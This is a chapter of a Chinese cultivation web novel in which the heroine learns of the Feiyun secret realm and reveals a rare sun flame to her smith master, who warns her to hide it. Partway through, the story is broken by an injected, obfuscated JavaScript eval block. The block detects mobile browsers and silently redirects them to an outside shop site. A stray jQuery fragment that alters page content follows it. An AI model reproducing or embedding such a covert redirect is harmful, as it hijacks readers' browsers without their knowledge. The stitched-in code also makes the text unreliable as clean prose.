125. 飞云法会
作品:《我,灵草,养成清冷大佬》 半年光阴,如白驹过隙。
青云城外的官道旁,有家显眼的小酒垆。
一面杏黄旗,几张旧桌椅,便成了南来北往的修士歇脚闲聊的好去处。
宿明荆行至酒垆前,目光扫过土台上半人高的酒坛,对掌柜道:“要三坛竹叶青。”
“好嘞,客官请稍等。”
她刚取出灵石准备付账,邻桌修士的谈笑声便飘入耳中。
那几人嗓门洪亮,聊得热火朝天,引得周围不少人侧目。
“玄天宗”三个字入耳的刹那,宿明荆递灵石的手微微一顿。
她不动声色地垂下眼,耳廓微动,专注地听了起来。
就听一人朗声道:“听说了吗?半年后的飞云法会,各大门派都要派出精锐弟子参加。这可是五十年一遇的盛事,不知又有多少天骄横空出世!”
“此等大事,消息灵通点的,谁能不知?”
旁边那人仰头灌了口酒,痛快地抹了把嘴,“玄天宗为了这次法会,不日就要举行六脉会武,筑基与金丹二境各取前十,代表宗门出战法会。”
他说到此处,忽地俯身向前,声音压低却掩不住兴奋:“更有传闻,霍家那位麒麟子几日前已破关出山,修为已至金丹中期,剑指飞云法会。”
席间顿时响起一片惊呼声。
“霍、霍霆光?!”
另一人满脸震惊,手中酒碗一斜,险些泼出半碗,“嘶......我记得上一届法会,筑基魁首就是他吧?这才过了五十年,他竟又要争金丹魁首了?这、这修为进境,简直可怕!”
旁边有人露出不解之色,插话道:“这飞云法会究竟有何特别之处?不就是各门派弟子比试切磋么?玄天宗这等巨擘,至于如此兴师动众吗?”
“这你就不懂了吧?”
邻座一个瘦高修士轻嗤一声,故意将话音拖长。
见众人眼巴巴地望了过来,他才不紧不慢地抿了口酒,道出其中关键:
“你们可知,这飞云法会,为何是五十年,而非百年一届?”
宿明荆眼睫微动,视线也落向那人。
见众人纷纷摇头,面露困惑,那瘦高修士得意一笑,娓娓道来:“许多人只知法会热闹,却不知其中门道。咱们飞云洲有一处上古遗留的秘境,名曰飞云秘境。”
“那秘境的位置,一直由四大宗门联合掌控。入口处更是有极为强大的禁制,每隔五十年天地气机流转,那禁制才会减弱,持续时间有限,只允许符合条件的修士进入。”
原来,那飞云秘境不仅藏有上古大能留下的功法传承、灵宝丹药,更孕育了无数外界早已绝迹的珍稀灵草、罕见矿脉、奇异生灵,可谓机缘遍地。
然而,天大的机缘往往伴随着天大的风险。
秘境之中并非坦途,而是危机四伏,历来陨落其中的天才修士不知凡几,连尸骨都寻不回。
更关键的是,那秘境入口极不稳定,且有严苛的限制——只允许元婴以下修士进入,且对金丹修士有特殊的压制。
这也使得进入秘境的人选,修为并非越高越好。
正因如此,为了合理分配这有限的名额,飞云洲各大宗门便约定,以这“飞云法会”为名,每隔五十年集结各派精英弟子比试。
最终,唯有在法会中脱颖而出、跻身各境前二十的弟子,方能获得进入秘境的资格。
宿明荆在一旁静静听着,面上平静无波,心中却早已泛起波澜。
飞云秘境,上古传承......这等可遇而不可求的机缘,足以让任何修士为之心动。
“秘境啊......”荣苏的声音幽幽响起,带着一丝兴奋,“明荆,这秘境我们一定要闯上一闯。”
这可是传说中的秘境啊,是主角们刷怪夺宝、越级反杀、获得逆天传承、从而一飞冲天的崛起之地!
他仿佛已经看见无数珍宝传承在前方招手,浑身血液都沸腾起来。
宿明荆唇角微弯,轻声道:“那是自然。”
这等机缘,她断无错过的道理。
不过,想要获得进入秘境的资格,还得先在六脉会武中杀出重围。
她付清酒钱,将三坛竹叶青收入储物袋,便不再停留,朝玄天宗山门疾驰而去。
-
回到玄天宗,宿明荆并未立即返回自己洞府,而是径直去了百炼坊。
甫一踏入坊内,热浪便扑面而来。
坊内炉火正旺,映得四壁通红。玄老站在炼器炉前,对着一件半成的器胚凝神思索,眉头紧拧。
听到外面的脚步声,他头也不回,有些不耐地挥了挥手,“去去去,没见老夫正忙着呢,天大的事也等会儿再说!”
脚步声未停,反而更近了些。
玄老这才有些不悦地转头,待看清来人的面容,他先是一愣,脸上那点不耐瞬间消散。
“宿丫头,你回来了!”
“师父,弟子回来了。”
宿明荆微微一笑,从储物袋取出那三坛竹叶青,又拿出游历时搜罗的各色灵酒,不过片刻便叠成了一座小山。
玄老顿时眉开眼笑,脸上的皱纹都舒展开来。
“好徒儿,还是你最孝顺,出门在外还晓得给师父带酒,可比你师兄强多了!”
他放下那件让他头疼的器胚,凑到石台前,挨个捧起酒坛细闻,眼睛瞬间亮了。
“这香气......炽烈中带着一丝回甘,是沙棘酒?乖徒儿,你去过戈泽大漠了?”
“是的,师父。”
玄老抬起头,目光灼灼地看向宿明荆,眼中满是期待,“那你......可有按为师给你的地图,去寻那地心灵火?”
在师父殷切的目光下,宿明荆神色平静,缓缓点了点头。
她没有立即将灵火展露出来,而是略作沉吟,将神识向外一扫,确认四周无人后,才慎重地摊开掌心。
下一刻,一簇纯白无瑕的火焰缓缓浮现,静静地燃烧。
那火焰看似温和无害,焰心深处却蕴含着至阳至纯的本源之力,令周遭游离的火系灵气都为之臣服。
玄老脸上的神情瞬间凝滞,整个人如同被定住一般,僵在原地。
他死死地盯着那纯白火焰,喉结滚动半晌,才从齿间挤出几个字:
“竟是......太阳真火......”
下一瞬,他便猛地惊醒,脸上惯常的嬉笑荡然无存,取而代之的是无比的凝重。
他十指翻飞,一道道凝练的法力激射而出,接连击中四壁与地面。
“叮叮叮——”
灵光交错闪烁,禁制光幕迅速闭合,如同一个倒扣的巨碗,将整个百炼坊封锁得严严实实。
做完这一切,他才缓缓转身,目光复杂地落在宿明荆脸上。
“为师原以为,那不过是寻常的地火......谁曾想,你找到的竟是这等传说之物。”
他深吸一口气,语气骤然转厉,“你需谨记,金丹未成之前,绝不可在人前显露此火!即便是你武严师兄,亦不可吐露半分。”
说到这,他脸上划过一丝无奈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287279|182258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那小子心眼不坏,却最是藏不住事,万一哪天说漏了嘴,便是滔天之祸......到那时,恐怕连为师也护不住你。”
修仙界弱肉强食,杀人夺宝之事屡见不鲜,更何况是这等足以震动一洲的天地至宝。
怀璧其罪的道理,自古便是用鲜血写就的。
感受到玄老话中毫不作伪的关切,宿明荆眸光微动,低声道:“师父......”
玄老神色渐渐柔和,在她肩上轻轻拍了两下,眼中既有欣慰,也有感慨。
“宿丫头,你很好......能得此火认主,是你天大的造化。但为师更欣慰的,是你愿意信我,肯将这天大的隐秘相告。”
利益至上的世界,人性在重宝面前往往不堪一击。
莫说师徒之名,便是骨肉至亲,为夺重宝而反目成仇、自相残杀者,比比皆是。
可她身怀如此至宝,却仍对他这个师父坦诚相告。这份毫无保留的信任,于玄老而言,比太阳真火本身更加珍贵。
听他如此说来,宿明荆心中最后一丝犹疑消散。
此番坦言,于她而言,何尝不是一场以师徒情分为注的豪赌?
所幸,她赌赢了。
师父终究没有让她失望。
宿明荆唇边漾开清浅却真切的笑意,如冰封湖面乍破的涟漪。
她再度躬身,郑重拱手,“师父教诲,弟子谨记于心。”
礼毕,她又从袖中取出一枚令牌,恭敬奉上。
令牌之上铭刻着“六品”两个古朴篆字,灵光流转,清晰可见。
玄老接过令牌,指腹摩挲过灵纹,忍不住抚掌大笑,“哈哈哈,我锻玄的弟子果真是天才!未结金丹,便已位列六品,好!好!”
欣喜之余,他神色又转为关切,“此行赴天工阁考核,可还顺遂?可曾遇人刁难?”
宿明荆略作思忖,将在天工阁的经历简略道来,“过程尚算顺利,一切皆按规程进行。只是最后为法器开锋时,无意间引动了金乌异象。”
“金乌异象?”玄老抚须的手蓦然顿住,眉峰紧蹙,“以太阳真火炼器,竟会显化此等异象?为师也是头一回听闻。”
这异象太过招摇,若每次炼器都引动天地异象,长此以往,难免会引来有心人窥探,恐生祸端。
玄老沉思良久,自储物袋中取出一物。
那是一枚巴掌大的阵盘,盘面镌刻周天星辰图谱,灵光内蕴,隐而不发。
“这个你收好。”
他将阵盘递给宿明荆,“这是镜回老儿炼制的阵盘,名周天星隐大阵。”
“此阵开启后,可引周天星辰之力,遮掩一方天机与灵气异动。往后你若需动用真火炼器,务必先布此阵。”
宿明荆双手接过,神识微探,登时感受到其中蕴含的星辰伟力。
此物于她而言,确是雪中送炭,解了她眼前一大顾虑。
她将阵盘郑重收好,向玄老深深一揖,“多谢师父。”
“傻丫头,跟师父客气什么。”
玄老摆了摆手,脸上的笑容却如何也掩不住,“你回来得正是时候,六脉会武在即,这段时日你好好准备,务必争得一个名额。”
“弟子明白。”
宿明荆再施一礼,随即转身离开了百炼坊。
玄老目送着她远去,脸上笑意渐渐敛去,转而化作一声轻叹。
他望向层云深处,声音轻似自语:“福兮祸之所伏......得此机缘,亦恐招致莫测之险。前路漫漫,宿丫头,你可要步步当心啊。”

